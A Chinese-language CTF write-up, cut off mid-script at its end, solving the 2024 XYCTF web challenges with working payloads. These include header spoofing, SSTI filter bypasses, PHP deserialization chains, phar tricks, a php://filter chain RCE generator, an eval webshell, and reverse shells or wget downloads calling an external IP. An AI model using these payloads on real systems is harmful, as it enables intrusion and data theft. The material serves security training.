2024-xyctf-web-复现


web

ezhttp

查看源码有提示

敏锐的感觉robots.txt有东西

直接看txt文件就好,拿到账户密码。

根据响应改一下referer

改代理

最后显示要本地用户,直接打X-Forwarded-For: 127.0.0.1

但是看响应,这个xff应该是被禁用了,打Client-IP: 127.0.0.1。常用的头有

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
X-Forwarded-For:127.0.0.1
Client-ip:127.0.0.1
X-Client-IP:127.0.0.1
X-Remote-IP:127.0.0.1
X-Rriginating-IP:127.0.0.1
X-Remote-addr:127.0.0.1
HTTP_CLIENT_IP:127.0.0.1
X-Real-IP:127.0.0.1
X-Originating-IP:127.0.0.1
via:127.0.0.1

这里好像只能打Client-IP: 127.0.0.1,逆天

显然是要加代理服务器-Via,Via: ymzx.qq.comUser-Agents是用户代理

这里饼干,显然是cookie,加上XYCTF,即可拿flag

综合payload

1
2
3
4
5
Referer: yuanshen.com
User Agent: XYCTF
Client-IP: 127.0.0.1
Via: ymzx.qq.com
Cookie: XYCTF

ezmd5

上传2张不同的图片时areEqual:true,md5Equal:false

上传2张相同图片时恰恰相反

所以可以猜测,应该只要符合两个都是true就可以拿flag,也就是说要找到2张md5值相同的图片。想必大家肯定做过字符的md5强比较,用fastcoll来完成,其实fastcoll也可以碰撞生成图片,操作就是将图片放到fastcoll就会生成2张MD5值相同的图片

使用fastcoll生成字符串MD5碰撞-CSDN博客

工具下载: https://github.com/iamjazz/Md5collision

warm up

都是弱比较,直接打payload了

1
val1[]=1&val2[]=2&md5=0e215962017&XY=0e215962017&XYCTF=0e215962017

(0e215962017MD5加密也是0e开头,0e开头的字符会被php处理为0,非数字字符与数字字符比较也会处理为0,但是非数字与非数字比较不会)注意这里有extract($_GET)变量覆盖,所以可以重新给XYCTF赋值

拿到下一关路由

这里post提交的a用数组绕过preg_match,即a[]=1(intval中传入数组时,会判断数组中的是否存在元素,有则返回1,否则返回0,preg_match当检测的变量是数组的时候会报错并返回0)

下面的preg_replace的考法看下文

CTF-WEB:攻防世界 ics-05(preg_replace() 函数 /e 漏洞) - 乌漆WhiteMoon - 博客园

PHP preg_replace() 函数 | 菜鸟教程

image-20250401203134038

所以这里get传a=/1/e&b=system('cat /flag')&c=1,post传a[]=1

ezMake

非预期

直接dirsearch扫一下直接出来/flag,flag就在里面

还有大佬发现eval没过滤,直接打马

1
echo '<?=eval(hex2bin("6576616c28245f504f53545b22636d64225d293b"))?>' > 1.php    #字符解码是$_POST["cmd"];

预期解

makefile怎么读取文件内容 - 问答 - 亿速云

1
2
content := $(shell cat flag)
echo $(shell cat flag)			#试了试其实$(shell cat flag)	就行

Makefile中使用的是GNU Make的语法。

ez?Make

解法一:nc反弹shell

1
nc  101.200.39.193 5000 -e sh

打反弹shell(bash被禁用了)

解法二-考命令执行功底

上题的eval被禁用了,f l a g @ $ * ? / 也被过滤,还过滤许多命令执行的方法,测试一些下,more还可以用。所以有

1
cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&more [0-z][0-z][0-z][0-z]	#匹配符绕过过滤的flag

官方wp是

1
cd ..&&cd ..&&cd ..&&cd ..&&cd bin&&echo "Y2F0IC9mbGFn"|b[!b-z]se64 -d|b[!b-z]sh#匹配符绕过原型base64 -d|bash

这两个有异曲同工之妙,就是进入到bin目录里面,然后执行命令cat /flag。找时间要总结一个命令执行的字典

εZ?¿м@Kε¿?

进入页面右键有源码提示,然后进入路由

尝试一下,发现竟然是白名单,在makefile我们怎么只用这几个字符构造命令,看看下文

Makefile的编写及四个特殊符号的意义@、$@、$^、$ - 春风一郎 - 博客园

1
2
3
4
5
$@          --代表目标文件(target)

$^            --代表所有的依赖文件(components)

$<           --代表第一个依赖文件(components中最左边的那个)。

尝试发现$<就是flag,也就是说这个时候怎么读取它了,从上面的文章我我们又知道

1
2
3
4
5
' $ '符号的使用
          美元符号$,主要扩展打开makefile中定义的变量
 
' $$ '符号的使用
          $$ 符号主要扩展打开makefile中定义的shell变量
1
2
<符号用于重定向输入,即将命令的输入从一个文件中读取,而不是从标准输入(键盘)
>符号用于重定向输出,即将命令的输出写入一个文件,而不是在屏幕上显示

然后打$$(<$<),就是执行shell命令-即执行<读取/flag内容

我是一个复读机

提示用户名admin,直接跑字典,拿到密码asdqwe,感觉像是ssti,跑跑字典

逆天,{{和{%禁用,打啥,但是看看题目,叫我输入英文字符,输中文的字符发现其中间的就可以正常进行ssti,不出意外是中文字符被替换成了{{}}。

image-20250402152943880

这里主要是_ [] ' " os被过滤(还一些关键词),ctfshow的原题

很多解法,我的解法是:request+cookie

1
的(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()的
1
a=__globals__;b=os;c=cat /flag

request+get也行

1
的(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()的&a=__globals__&c=cat%20/flag&b=os

牢牢记住,逝者为大

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);
function Kobe($cmd)
{
    if (strlen($cmd) > 13) {
        die("see you again~");
    }
    if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {
        die("肘死你");
    }
    foreach ($_GET as $val_name => $val_val) {
        if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
            return "what can i say";
        }#检查 $_GET 参数中是否包含某些特定的字符串(如 bin、mv、cp、ls 等)或特殊字符(如 |、>、* 等
    }
    return $cmd;
}

$cmd = Kobe($_GET['cmd']);
echo "#man," . $cmd  . ",manba out";
echo "<br>";
eval("#man," . $cmd . ",mamba out");

#man,,manba out

这里限制了不能超过13个字符,我们需要%0a截断#man的干扰,用%23注释掉",manba out",只剩11个字符,所以这里只能打

1
`$_GET[1]`;

这里刚好11个字符(要执行的是PHP代码,因此需要分号;)接下来就是给1传参了

姿势一:wget

在我们的vps写一个马,然后利用wget下载到当前目录,然后执行就行

1
?cmd=%0a`$_GET[1]`;%23&1=wget 101.200.39.193:3000/kh.php

姿势二:nc反弹

bin被过滤那就拼接绕过

1
?cmd=%0a`$_GET[1]`;%23&1=nc 101.200.39.193 5000 -e /b''in/sh

其实可以更简单一点,这里连/都不需要

1
?cmd=%0a`$_GET[1]`;%23&1=nc 101.200.39.193 5000 -e sh

姿势三-cp命令执行

1
?cmd=%0a`$_GET[1]`;%23&1=c''p /[@-z][@-z][@-z]g 1.txt

姿势四-whois反弹

这个whois反弹的shell只能执行后面带的命令,所以直接打

1
?cmd=%0a`$_GET[1]`;%23&1=whois -h 101.200.39.193 -p 5000 `more /[b-z][b-z][@-z][b-z]`

ezRCE

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
highlight_file(__FILE__);
function waf($cmd){
    $white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<']; 
    $cmd_char = str_split($cmd);
    foreach($cmd_char as $char){
        if (!in_array($char, $white_list)){
            die("really ez?");
        }
    }
    return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);

【bashfuck】bashshell无字母命令执行原理 - FreeBuf网络安全行业门户

02.利用shell脚本变量构造无字母数字命令 · 个人知识库

Lunix可以用$'\xxx'的方式执行命令,xxx是字符ascii码的八进制形式,当我尝试$'\154\163'(ls)是有响应,但是执行$'154\163\40\57'不行,原因上面文章也有,简单来说就是其直接将单引号包裹的内容整体当成了一个命令,不能直接利用。

然后接下来这里我们想到bash里的一种语法:command [args] <<<["]$word["],在这种语法下$word会展开并作为commandstdin,以此来继续执行命令,但是字母不可以用,这里有两个办法绕过。

解法一:bash也转换为8进制

1
?cmd=$'\142\141\163\150'<<<$'\154\163\40\57'		#ls /
1
?cmd=$'\142\141\163\150'<<<$'\143\141\164\40\57\146\154\141\147' 	#cat /flag

解法二:环境变量$0代替bash

1
?cmd=$0<<<$'\143\141\164\40\57\146\154\141\147' 	#cat /flag

ezPOP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
error_reporting(0);
highlight_file(__FILE__);

class AAA
{
    public $s;
    public $a;
    public function __toString()
    {
        echo "you get 2 A <br>";
        $p = $this->a;
        return $this->s->$p;
    }
}

class BBB
{
    public $c;
    public $d;
    public function __get($name)
    {
        echo "you get 2 B <br>";
        $a=$_POST['a'];
        $b=$_POST;
        $c=$this->c;
        $d=$this->d;
        if (isset($b['a'])) {
            unset($b['a']);
        }
        call_user_func($a,$b)($c)($d);
    }
}

class CCC
{
    public $c;

    public function __destruct()
    {
        echo "you get 2 C <br>";
        echo $this->c;
    }
}


if(isset($_GET['xy'])) {
    $a = unserialize($_GET['xy']);
    throw new Exception("noooooob!!!");
}

这里链子构造很简单,就是这么命令执行有点难搞,但是想也不用想,肯定是在call_user_func($a,$b)($c)($d);下功夫。

call_user_func($a,$b)意思就是函数a将b作为参数调用,call_user_func($a,$b)($c)($d);这个就是嵌套了,call_user_func($a,$b)返回值作为函数调用c,然后其返回值又作为函数调用d。这有很多解法。

用current

写一个测试代码试试,解释些函数

current()函数返回数组中的当前元素的值。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。其实就是返回数组第一个元素.(由于此题post是数组,所以只需要传b=sprintf就行)

sprintf() 函数把格式化的字符串写入变量中。

然后就是unset函数:PHP unset() 函数 | 菜鸟教程,unset看似会回收a,其实不影响,因为当执行 $b = $_POST 时,$b$_POST 的独立副本。后续的 unset($b['a']) 只移除了副本中的 a原始 $_POST['a'] 的值依然存在,所以不影响

image-20250414203221638

最终payload是:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

class AAA
{
    public $s;
    public $a;
}
 
class BBB
{
    public $c;
    public $d;
}
 
class CCC
{
    public $c;
}


$a=new CCC();
$a->c=new AAA();
$a->c->a="1";
$a->c->s=new BBB();
$a->c->s->c="system";
$a->c->s->d="tac /f*";

echo serialize($a);

但是题目最后又throw new Exception("noooooob!!!");,这里考GC垃圾回收浅析PHP GC垃圾回收机制及常见利用方式-先知社区

绕过的第一个方法的话就是将payload去掉最后一个}

1
O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"system";s:1:"d";s:7:"tac /f*";}s:1:"a";s:1:"1";}

post传

1
a=current&b=sprintf

第二个方法,就是将echo serialize($a);改为echo serialize(array($a,0));

得到的payload是

1
a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"system";s:1:"d";s:7:"tac /f*";}s:1:"a";s:1:"1";}}i:1;i:0;}

然后看上文GC垃圾回收知道将array($a,0)第二个索引置空

1
a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"system";s:1:"d";s:7:"tac /f*";}s:1:"a";s:1:"1";}}i:0;i:0;}

然后post一样就行。

当然这里post还可以传

1
a=current&b=current

但是这样的话$a->c->s->c=“system”;就要变成$a->c->s->c=array(“system”);因为current只能处理数组

用implode函数

这个nb,又涨知识PHP implode() 函数

implode() 函数返回由数组元素组合成的字符串。

image-20250414230056581

也是很好理解,所以就可以post传

1
a=implode&1=imp&2=lode

get和上面一样

wp做法:用 Closure 原生类的 fromCallable

[PHP: Closure::fromCallable - Manual](https://www.php.net/manual/zh/closure.fromcallable.php#:~:text=Closure%3A%3AfromCallable — 将 callable 转换为闭包 使用当前范围从给定的 callback 创建并返回一个新的,从 PHP 8.1.0 开始, First-class 可调用语法 的语义与此方法相同。 要转换的回调。)

详细讲解看上面。

1
函数 myCustomMapper 函数接受一个回调函数和一个字符串作为参数。它将字符串按空格拆分为单词数组,然后对每个单词应用回调函数,并将结果以空格连接起来,最终返回处理后的字符串

所以post传

1
a=Closure::fromCallable&0=Closure&1=fromCallable
1
这里的解释就是参数二次调用出 Closure::fromCallable 然后 Closure 加载后面第一个参数 system 形成回调函数然后加载第二个参数变成 system 的参数

get传一样。在这里感觉和implode差不多作用

ezSerialize

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Flag {
    public $token;
    public $password;

    public function __construct($a, $b)
    {
        $this->token = $a;
        $this->password = $b;
    }

    public function login()
    {
        return $this->token === $this->password;
    }

}

$a=new Flag($token,$password);
$a->password=&$a->token;

echo serialize($a);

考php的引用PHP引用(&)使用详解 - 美好的明天 - 博客园

一个引用相等直接绕过,得到路由fpclosefpclosefpcloseffflllaaaggg.php

PHP: 魔术方法 - Manual

第二关有个__unserialize魔术,但是要7.4以上才可以用,题目是7.3,所以不考虑此魔术,而且如果你逆推链子也可以发现这里用不了。

image-20250418182321247

接下来链子就简单了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
class A {
    public $mack;
    public function __invoke()
    {
        $this->mack->nonExistentMethod();
    }
}

class B {
    public $luo;
    public function __get($key){
        echo "o.O<br>";
        $function = $this->luo;
        return $function();
    }
}

class C {
    public $wang1;

    public function __call($wang1,$wang2)
    {
            include 'flag.php';
            echo $flag2;
    }
}


class D {
    public $lao;
    public $chen;
    public function __toString(){
        echo "O.o<br>";
        return is_null($this->lao->chen) ? "" : $this->lao->chen;
    }
}

class E {
    public $name = "xxxxx";
    public $num;

    public function __unserialize($data)
    {
        echo "<br>学到就是赚到!<br>";
        echo $data['num'];
    }
    public function __wakeup(){
        if($this->name!='' || $this->num!=''){
            echo "旅行者别忘记旅行的意义!<br>";
        }
    }
}

$a=new E();
$a->name=new D();	#$this->name = ''拿来跟字符串比较了,因此也会调用__toString方法
$a->name->lao=new B();
$a->name->lao->luo=new A();
$a->name->lao->luo->mack=new C();
echo serialize($a);

得到saber_master_saber_master.php,进入第三关

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class XYCTFNO1
{
    public $T1ng="yuroandCMD258";
    public $crypto0="dev1l";
}

class XYCTFNO2
{
    public $crypto0;
    public $adwa;
   
}

class XYCTFNO3
{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "oSthing";

}

$a=new XYCTFNO3();
$a->KickyMu=new XYCTFNO2();
$a->KickyMu->adwa=new XYCTFNO1();


echo serialize($a);
echo urlencode(serialize($a));

这里考一个PHP8 动态属性被弃用兼容方案_creation of dynamic property is deprecated-CSDN博客

即8.2以下的版本可以PHP 类中可以动态设置和获取没有声明过的类属性

题目有点问题,应该是crypto0=“dev1l”。然后打原生类读取文件

1
X=SplFileObject&Y=php://filter/read=convert.base64-encode/resource=flag.php

ezClass

解法一:利用可执行函数的内置类

1
?a=Exception&aa=system&b=Exception&bb=cat /flag&c=getMessage
1
Exception(异常类),getMessage()(返回构造函数中的异常信息),上面分别返回system,cat /flag,达到执行命令效果
image-20250418211608895

解法二:原生类读取SplFileObject文件

1
?a=SplFileObject&aa=data://text/plain,system&c=__toString&b=SplFileObject&bb=data://text/plain,cat%20/flag

解法三:利用ArrayIterator类调用current方法来返回当前的值

1
?a=ArrayIterator&aa[]=system&c=current&b=ArrayIterator&bb[]=cat /flag

PHP: ArrayIterator::current - PHP中文网

pharme

源码提示class.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
    public $cmd;
    public $a;
    public function __destruct(){
        if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
            eval($this->cmd.'isbigvegetablechicken!');
        } else {
            echo 'nonono';
        }
    }
}

if(isset($_POST['file']))
{
    if(preg_match('/^phar:\/\//i',$_POST['file']))
    {
        die("nonono");
    }
    file_get_contents($_POST['file']);
}

简单的phar反序列化,以前详细讲过https://luo-kaihong.github.io/p/2025-tgctf-write.up/

这题思路,显然,先phar反序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class evil{
    public $cmd='eval(end(getallheaders()));__halt_compiler();'; // 定义cmd属性,值为eval函数和__halt_compiler()函数
    public function __destruct(){ // 定义析构函数
        if('ch3nx1' === preg_replace('/;+/'
        ,
        'ch3nx1'
        ,preg_replace('/[A-Za-z_\(\\)]+/'
        ,
        ''
        ,$this->cmd))){ // 使用正则表达式过滤cmd中的字母、下划线、括号等字符,然后替换分号为'ch3nx1',判断是否等于'ch3nx1'
            eval($this->cmd. // 如果条件成立,执行cmd命令
            'isbigvegetablechicken!'); // 在cmd后面添加字符串'isbigvegetablechicken!',然后执行
        } else {
            echo 'nonono'; // 如果条件不成立,输出'nonono'
        }
    }
}
$a =new evil(); // 创建evil类的实例$a
$phar = new Phar('1.phar'); # 生成名为1.phar的Phar文件
$phar->stopBuffering(); # 停止缓冲,直接写入文件
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>'); # 设置stub,以GIF89a开头,后面跟着__HALT_COMPILER(),使Phar文件看起来像图片文件
$phar->setMetadata($a); # 将$a作为元数据写入Phar文件,用于反序列化
$phar->addFromString('1.txt', '1'); # 向Phar文件添加内容为'1'的1.txt文件
$phar->stopBuffering(); # 再次停止缓冲,确保所有内容都已写入
?>

来解释一下这个代码特殊之处,这个源码显然是告诉我们只能含有字母A-Z,a-z,下划线_和左右括号(),其实也就是无参RCE,那就打

1
2
eval(end(getallheaders()));
请求头最后一行:system('cat /flag')

ByteCTF一道题的分析与学习PHP无参数函数的利用-先知社区

1
然后为了注释'isbigvegetablechicken!',用__halt_compiler();(eval中的字符串是拼接的,且不能用#和//进行注释)

环境配置分享的第一篇文章有讲,然后生成phar文件,测试发现只能上传图片,改后缀发现报错

1
!preg_match(“/__HALT_COMPILER/i”,FILE_CONTENTS)

说明还是发现是phar文件,所以gzip压缩一下(liunx环境执行

1
gzip 1.phar

然后改后缀为1.png上传得到路径/tmp/4a47a0db6e60853dedfcfdf08a5ca249.png

然后绕过掉phar://开头的正则,本来想打compress.zlib绕过,后面了解是要开启zip拓展才有的,这里用不了

php反序列化拓展攻击详解–phar-先知社区

所以就用伪协议打

1
file=php://filter/resource=phar:///tmp/4a47a0db6e60853dedfcfdf08a5ca249.png

抓包后就在请求头最后执行命令就好了

image-20250419000345539

这题考的挺多知识点:

phar反序列化+无参rce+__halt_compiler来终止编译+gzip压缩绕过phar文件检测+伪协议绕过phar头检测

ezLFI

题目附件有index.php源码就是

1
<?php include_once($_REQUEST['file']);

读附件给的docker-entrypoint.sh 发现chmod 400 /flag # 设置只读权限,但是发现/readflag可以执行,然后其执行可以读取flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
rm -f /docker-entrypoint.sh                # 清理默认Docker入口脚本

user=$(ls /home)                          # 获取/home目录用户列表(ls解析存在风险)

INSERT_FLAG="flag{TEST_FLAG}"             # 定义预设flag值
echo $INSERT_FLAG | tee /flag             # 写入flag到系统根目录
chmod 400 /flag                           # 设置只读权限(400=rw-------)

cd /build                                 # 进入编译目录
musl-gcc -s -oreadflag -Os -static readflag.c  # 静态编译可执行文件(-s去符号表,-Os优化体积)
cp /build/readflag /                      # 部署到根目录
chmod u=srx,g=rx,o=x /readflag            # 设置SUID权限(s=提权,rx=可读执行)

/etc/init.d/php7.4-fpm start \            # 启动PHP-FPM服务
 && nginx -g 'daemon off;'                # 前台启动Nginx(&&确保顺序执行)
tail -f /dev/null                         # 保持容器存活(阻塞进程防退出)

所以这里显然这里是文件包含执行命令,那就是用就是filterChain。具体看

利用filter过滤器的编码组合构造RCE-腾讯云开发者社区-腾讯云

php://filter特性包含任意文件getshell | CTF导航

https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

简单就是通过不同的编码转换构造字符

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests

url = "http://localhost:49819/?file="
file_to_use = "/etc/passwd"
command = "/readflag"

# <?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
    filters += conversions[c] + "|"
    # decode and reencode to get rid of everything that isn't valid base64
    filters += "convert.base64-decode|"
    filters += "convert.base64-encode|"
    # get rid of equal signs
    filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
    "0": command,
    "action": "include",
    "file": final_payload
})

print(r.text)

官方给出的脚本

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
<?php
// 基础payload,这是一个被base64编码的字符串
// 解码后的内容是 <?php @eval($_REQUEST['cmd']);,
$base64_payload = "PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk7Pz4"; 
// 定义一个转换规则数组,每个字符对应多种iconv转换规则组合
// 这些规则用于在字符编码转换过程中混淆payload,绕过安全检测
$conversions = array(
    // '/' 字符的转换规则,通过多次iconv转换来混淆数据
    '/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    
    // 数字字符的转换规则
    // 每个数字对应多个稀奇古怪的字符编码转换规则组合
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    '1' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
    '5' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE',
    '6' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    
    // 大写字母的转换规则
    'A' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    'E' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
    'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
    'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
    'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
    'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
    'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
    'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
    'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
    'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
    'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
    'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
    'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
    'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
